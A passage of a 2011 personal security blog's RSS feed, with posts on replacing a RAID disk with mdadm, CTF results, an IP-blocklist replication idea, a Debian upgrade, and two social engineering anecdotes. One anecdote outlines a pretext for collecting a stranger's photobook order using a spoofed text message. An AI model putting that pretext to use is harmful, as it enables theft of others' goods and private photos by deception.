Copyright (C) 2002-10 by Bruce Allen, http://smartmontools.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
=== START OF INFORMATION SECTION ===&lt;br /&gt;
Model Family:     Seagate Barracuda 7200.10 family&lt;br /&gt;
Device Model:     ST3250620A&lt;br /&gt;
Serial Number:    xxxxxxxx&lt;br /&gt;
Firmware Version: 3.AAE&lt;br /&gt;
User Capacity:    250,059,350,016 bytes&lt;br /&gt;
Device is:        In smartctl database [for details use: -P show]&lt;br /&gt;
ATA Version is:   7&lt;br /&gt;
ATA Standard is:  Exact ATA specification draft version not indicated&lt;br /&gt;
Local Time is:    Thu Oct 20 21:25:40 2011 CEST&lt;br /&gt;
SMART support is: Available - device has SMART capability.&lt;br /&gt;
SMART support is: Enabled&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;3. fail the HDD in RAID Array:&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
okean0s:/home/sqall# mdadm --manage /dev/md1 --fail /dev/sdb&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;4. remove the HDD from RAID Array:&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
okean0s:/home/sqall# mdadm --manage /dev/md1 --remove /dev/sdb&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;5. now shutdown the server and physical remove the HDD and replace it with a new HDD&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;6. add HDD to the RAID Array:&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
okean0s:/mnt# mdadm --manage /dev/md1 --add /dev/sdb&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;7. verify state:&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
okean0s:/mnt# cat /proc/mdstat &lt;br /&gt;
Personalities : [raid1] [raid6] [raid5] [raid4] &lt;br /&gt;
md1 : active raid1 sdb[2] sda[0]&lt;br /&gt;
244198464 blocks [2/1] [U_]&lt;br /&gt;
[&gt;....................]  recovery =  0.2% (673344/244198464) finish=90.4min speed=44889K/sec&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
I found &lt;a href=&quot;http://www.kernelhardware.org/replacing-failed-raid-drive/&quot; title=&quot;http://www.kernelhardware.org/replacing-failed-raid-drive/&quot;&gt;this guide&lt;/a&gt; on the web (it&#039;s exactly the same as my quick guide) and the author has partitions on the HDDs. So here I like to quote him:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;Adding the new disk to the RAID Array:&lt;br /&gt;
Now that the new hard drive has been physically installed we can add it to the RAID Array.&lt;br /&gt;
In order to use the new drive we must create the exact same partition table structure that was on the old drive.&lt;br /&gt;
We can use the existing drive and mirror its partition table structure to the new drive. There is an easy command to do this:&lt;br /&gt;
&lt;br /&gt;
sfdisk -d /dev/sda | sfdisk /dev/sdb&lt;br /&gt;
&lt;br /&gt;
* Note that sometimes when removing drives and replacing them the drives device name may change. Make sure the drive you replaced is listed as /dev/sdb, by issueing command &quot;fdisk -l /dev/sdb&quot; and no partitions exist.&lt;/blockquote&gt; 
    </content:encoded>

    <pubDate>Thu, 20 Oct 2011 21:32:51 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/317-guid.html</guid>
    
</item>
<item>
    <title>social engineering - the 2nd practical example</title>
    <link>http://h4des.org/blog/index.php?/archives/316-social-engineering-the-2nd-practical-example.html</link>
            <category>RealLife</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/316-social-engineering-the-2nd-practical-example.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=316</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=316</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Last Friday I had my next practical social engineering event. But before I start here a short info why it came to this situation.&lt;br /&gt;
&lt;br /&gt;
I worked for three years as a sysadmin at an university in the german state NRW. Therefore I was paid by the LBV (&quot;Landesamt für Besoldung und Versorgung&quot;) like every employee for the state NRW. And everyone I know who is paid by the LBV has a story in which they had problems with an incompetent LBV employee. Perhaps it&#039;s not always the employee, just the bureaucracy, but EVERYONE who has something to do with the LBV knows what I mean. Now I study IT-security at another university in NRW and got an offer for an sysadmin job at this university. Well, studying is expensive and so I take this job. When I quit my old job a year ago, the LBV didn&#039;t send me all my documents back I now needed for the new job (the important one was a document for the taxes). Now a logical mind would say: &quot;Hey, the LBV has the documents from your old job, why can&#039;t they use these documents for the new one?&quot;. Well, I said something like that. But the truth is, they must send me the documents back and my new employer will send them back to the LBV. And the problem is: the LBV works very slow and the time is short in this case.&lt;br /&gt;
&lt;br /&gt;
Therefore I was on my way to the tax office to get a replacement for the document for the taxes. After I was in two offices talking to some very impolite employees about my problem I went to the third and last one. I was a little bit angry for this impoliteness and thought about how I can handle the next employee without getting this rude behavior. I thought about &quot;killing them with kindness&quot; (a very easy and cool method my girlfriend mastered... really, she is a master in manipulate others with her kindness. She does it unconsciously, but she does.) but I tried this at the two employees before and it doesn&#039;t work well for me (it seems like every employee at an office that is run by the state hates their jobs). I thought about: &quot;How can I get the employee in the last office put himself in my position?&quot;. And the solution was very simple and very effective. The solution (and the problem &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; ) was the LBV.&lt;br /&gt;
&lt;br /&gt;
So I told the employee (it was a middle-aged woman) about my problem and at the end I added: &quot;... but you know the LBV. I think you had problems with the LBV yourself.&quot;. She starts to smile and I know I got her. She told me some stories about her and the LBV and I told her some of my stories. From here, it took only 2 minutes and I had the replacement for the document.&lt;br /&gt;
&lt;br /&gt;
So what do we learn here?&lt;br /&gt;
&lt;br /&gt;
First of all: &quot;Never underestimate the effect of the kindness of your girlfriend&quot; &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
Second: &quot;State Offices suck!&quot;&lt;br /&gt;
And the last one: &quot;Kindness and to get the other put her/himself in your position will work for your benefits&quot; 
    </content:encoded>

    <pubDate>Sat, 15 Oct 2011 23:00:30 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/316-guid.html</guid>
    
</item>
<item>
    <title>4th place at rwthctf 2011</title>
    <link>http://h4des.org/blog/index.php?/archives/315-4th-place-at-rwthctf-2011.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/315-4th-place-at-rwthctf-2011.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=315</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=315</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Our team made the &lt;a href=&quot;http://ctf.itsec.rwth-aachen.de/final_score.html&quot; title=&quot;http://ctf.itsec.rwth-aachen.de/final_score.html&quot;&gt;4th place at the rwthctf&lt;/a&gt;. Congratulations to FAUST, De Eindbazen and Leet More. Thanks goes to 0ldEur0pe for this ctf. It was a lot of fun (and a lot of frustration) this night.&lt;br /&gt;
&lt;br /&gt;
I&#039;m looking forward to read some write ups, so I finally understand how to crack this god damn crypto roulette! 
    </content:encoded>

    <pubDate>Sun, 02 Oct 2011 15:27:25 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/315-guid.html</guid>
    
</item>
<item>
    <title>social engineering - a practical example</title>
    <link>http://h4des.org/blog/index.php?/archives/314-social-engineering-a-practical-example.html</link>
            <category>RealLife</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/314-social-engineering-a-practical-example.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=314</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=314</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Do you know these photobook services, where you can create your own photobook online and let it be sent to a local store? Well, my girlfriend has used this service a week ago and the photobook was sent to a local store (a german chain of stores called DM). I was in the city and she texted me her costumer and job number. When I was at the store I searched through all the packets of photobooks and finally find hers. On the package her name, her job number and her costumer number was written. I went to the cashier and wanted to pay for it when she asks me to show her the order form.&lt;br /&gt;
&lt;br /&gt;
What now? I didn&#039;t want to go home and get the form for her so I have to try it with some discussing &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
I told her polite and friendly that this photobook is obviously not for me but for my girlfriend and she is away from town for the next two weeks and she texted me her costumer and job number so I get it for her. I showed the cashier the text message on my mobile phone with the name of my girlfriend on the top and she sold me the photobook.&lt;br /&gt;
&lt;br /&gt;
Well I didn&#039;t lie with the &quot;my girlfriend is away from town the next two weeks&quot; thing but the order form was lying on my desk at home.&lt;br /&gt;
&lt;br /&gt;
This is a great practical example for social engineering. The names, job and costumer numbers were written on the packages of the photobooks. I could grab any of them, send myself a text message on my mobile phone and change the addressbook entry with my own number to the name on the photobook. Then I can say something like this to the cashier &quot;This photobook isn&#039;t for me. My brother sent me his costumer and job number so I can get it for him.&quot; and show him the text message. I would say 99% of the cashiers would sell you the package with the photobook.&lt;br /&gt;
&lt;br /&gt;
The text message is a very important thing. I think that a lot of cashier wouldn&#039;t sell you the photobook without the text message. It&#039;s a little bit like Chrisopher Hadnagy has written in his book &quot;Social Engineering - The Art Of Human Exploiting&quot;. He wrote a great story with a business card in it and that it&#039;s easier to make other people believe you when have something written that supports your story. In his case I think it was a TSA employee that let him pass the security check with his IT stuff because he had shown a business card that said that he is an IT security auditor.&lt;br /&gt;
&lt;br /&gt;
What do we learn through these stories? You should always have a business card with you that tells people who you are (or who you wanted to be &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; ) and never order photobooks with really private stuff in it &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Thu, 22 Sep 2011 21:09:00 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/314-guid.html</guid>
    
</item>
<item>
    <title>Idea: Replication service for IPs to block</title>
    <link>http://h4des.org/blog/index.php?/archives/313-Idea-Replication-service-for-IPs-to-block.html</link>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/313-Idea-Replication-service-for-IPs-to-block.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=313</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=313</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    The only thing that&#039;s keeping me working in this exam phase at the moment is this picture.&lt;br /&gt;
&lt;a class=&quot;serendipity_image_link&quot;  href=&#039;http://h4des.org/blog/uploads/procrastination.jpg&#039;&gt;&lt;!-- s9ymdb:56 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;547&quot; height=&quot;437&quot;  src=&quot;http://h4des.org/blog/uploads/procrastination.jpg&quot;  alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
... but now the interesting stuff and not about me &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
On the rides by train I used the time to relax and code a little bit. Some months ago I had an idea about an decentralized Client/Server model which exchanges data of IP-addresses which should be blocked by the server. It&#039;s like the &lt;a href=&quot;http://www.spamhaus.org&quot; title=&quot;http://www.spamhaus.org&quot;&gt;spamhaus&lt;/a&gt; block lists for eMail servers, only that they should be replicated over the network without any master. The principle is like &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Active_directory&quot; title=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Active_directory&quot;&gt;Microsoft&#039;s Active Directory&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The whole idea came when I was rewriting &lt;a href=&quot;http://h4des.org/blog/index.php?/archives/306-Anti-Spam-Skript-erstellen-einer-Blockliste-fuer-iptables.html&quot; title=&quot;http://h4des.org/blog/index.php?/archives/306-Anti-Spam-Skript-erstellen-einer-Blockliste-fuer-iptables.html&quot;&gt;this spam IP blocking script (article is in german)&lt;/a&gt;. Some friends of mine who are administrating servers used it for finding and blocking spam sending hosts. Some of their servers has a lot of more spam eMail traffic and so they got a great anti spam list in no time. We exchange our blocking lists and the amount of incoming spam was going down. Then I ask myself &quot;wouldn&#039;t it be great when our servers do this by their selves?&quot;. And the answer is &quot;yes, it would&quot; &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; . So I thought about how it could be done and I realized that no one of us would give the others the master service, when it was written in a normal client/server model. But a replication service in which every of our hosts are trusted and every host has the same rights, that would be something else.&lt;br /&gt;
&lt;br /&gt;
The IP-addresses to block could perhaps be created by scripts like the spam IP blocking script I mentioned before. Something like the &lt;a href=&quot;http://www.ossec.net/&quot; title=&quot;http://www.ossec.net/&quot;&gt;ossec project&lt;/a&gt; uses to get the IPs to block. Yet I haven&#039;t finished any details about how it works. I&#039;ve only written the basic threaded TCP Server in python so far. But I&#039;m grateful for any idea and help I can get &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/smile.png&quot; alt=&quot;:-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; 
    </content:encoded>

    <pubDate>Mon, 12 Sep 2011 19:39:29 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/313-guid.html</guid>
    
</item>
<item>
    <title>CTF Team FluxFingers won the dCTF 2011</title>
    <link>http://h4des.org/blog/index.php?/archives/311-CTF-Team-FluxFingers-won-the-dCTF-2011.html</link>
            <category>CTF</category>
            <category>netculture</category>
            <category>security</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/311-CTF-Team-FluxFingers-won-the-dCTF-2011.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=311</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=311</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Today the CTF Team FluxFingers of the Ruhr Universität Bochum won the &lt;a href=&quot;http://www.cs.vu.nl/~sullivan/dCTF/dCTF.php&quot; title=&quot;http://www.cs.vu.nl/~sullivan/dCTF/dCTF.php&quot;&gt;dCTF 2011&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;a class=&quot;serendipity_image_link&quot;  href=&#039;http://h4des.org/blog/uploads/dctf2011_scoreboard.png&#039;&gt;&lt;!-- s9ymdb:55 --&gt;&lt;img class=&quot;serendipity_image_left&quot; width=&quot;110&quot; height=&quot;66&quot;  src=&quot;http://h4des.org/blog/uploads/dctf2011_scoreboard.serendipityThumb.png&quot;  alt=&quot;&quot; /&gt;&lt;/a&gt; Here is a link to the &lt;a href=&quot;http://www.cs.vu.nl/~sullivan/dCTF/ScoreBoard.html&quot; title=&quot;http://www.cs.vu.nl/~sullivan/dCTF/ScoreBoard.html&quot;&gt;ranking&lt;/a&gt; and if the link doesn&#039;t work, I made a screenshot.&lt;br /&gt;
&lt;br /&gt;
Congratulations to all members of the CTF Team FluxFingers.&lt;br /&gt;
&lt;br /&gt;
 
    </content:encoded>

    <pubDate>Thu, 07 Jul 2011 19:21:28 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/311-guid.html</guid>
    
</item>
<item>
    <title>Debian lenny -&gt; squeeze upgrade (raid and openldap issue)</title>
    <link>http://h4des.org/blog/index.php?/archives/310-Debian-lenny-squeeze-upgrade-raid-and-openldap-issue.html</link>
            <category>Debian</category>
    
    <comments>http://h4des.org/blog/index.php?/archives/310-Debian-lenny-squeeze-upgrade-raid-and-openldap-issue.html#comments</comments>
    <wfw:comment>http://h4des.org/blog/wfwcomment.php?cid=310</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://h4des.org/blog/rss.php?version=2.0&amp;type=comments&amp;cid=310</wfw:commentRss>
    

    <author>nospam@example.com (sqall)</author>
    <content:encoded>
    Today something not security related:&lt;br /&gt;
&lt;br /&gt;
I upgraded one of my servers at home from Debian lenny to Debian squeeze. I read a lot of stuff like &quot;there are problems with the software raid with madm&quot; and so on. And if you just do a &lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;apt-get dist-upgrade&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
with squeeze sources for apt, it&#039;s possible that you kill your raid. So here is what worked for me:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;1. install package &quot;firmware-linux-nonfree&quot; for missing firmware files in kernel&lt;br /&gt;
2. install new kernel&lt;br /&gt;
3. reboot with new kernel&lt;br /&gt;
4. do dist-upgrade.&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
I found this list in the &lt;a href=&quot;http://forums.debian.net/viewtopic.php?f=5&amp;t=50579&quot; title=&quot;http://forums.debian.net/viewtopic.php?f=5&amp;t=50579&quot;&gt;debian bug reports&lt;/a&gt; under &quot;should work&quot; and it definitely worked fine for me.&lt;br /&gt;
&lt;br /&gt;
I&#039;ve got still one issue with openLDAP. The config file slapd.conf is depracticated with the new version and is now split into different files under slapd.d. The service only works if I comment this line out:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;olcTLSCipherSuite: TLS_RSA_AES_256_CBC_SHA&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
The log tells me:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;main: TLS init def ctx failed: -1&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
And google tells me nothing of interest. Gnutls supports this cipher (it worked fine with the old openLDAP version). I&#039;ve tried the following parameters too:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;olcTLSCipherSuite: +AES-256-CBC:+SHA1&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
and&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;olcTLSCipherSuite: +AES-128-CBC&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
With this the service starts but when a client tries to connect I get a:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;conn=1023 fd=17 closed (TLS negotiation failure)&lt;/blockquote&gt;&lt;br /&gt;
&lt;br /&gt;
Only with an commented &quot;olcTLSCipherSuite:&quot; everything works fine. I will have to work on this one because I don&#039;t like the thought of using weak crypto (now we are at the security related stuff &lt;img src=&quot;http://h4des.org/blog/templates/default/img/emoticons/wink.png&quot; alt=&quot;;-)&quot; style=&quot;display: inline; vertical-align: bottom;&quot; class=&quot;emoticon&quot; /&gt; ) only because an option is not set right. I will update these post when I find the reason and fixed it. 
    </content:encoded>

    <pubDate>Wed, 15 Jun 2011 15:36:58 +0200</pubDate>
    <guid isPermaLink="false">http://h4des.org/blog/index.php?/archives/310-guid.html</guid>
    
</item>

</channel>
</rss>
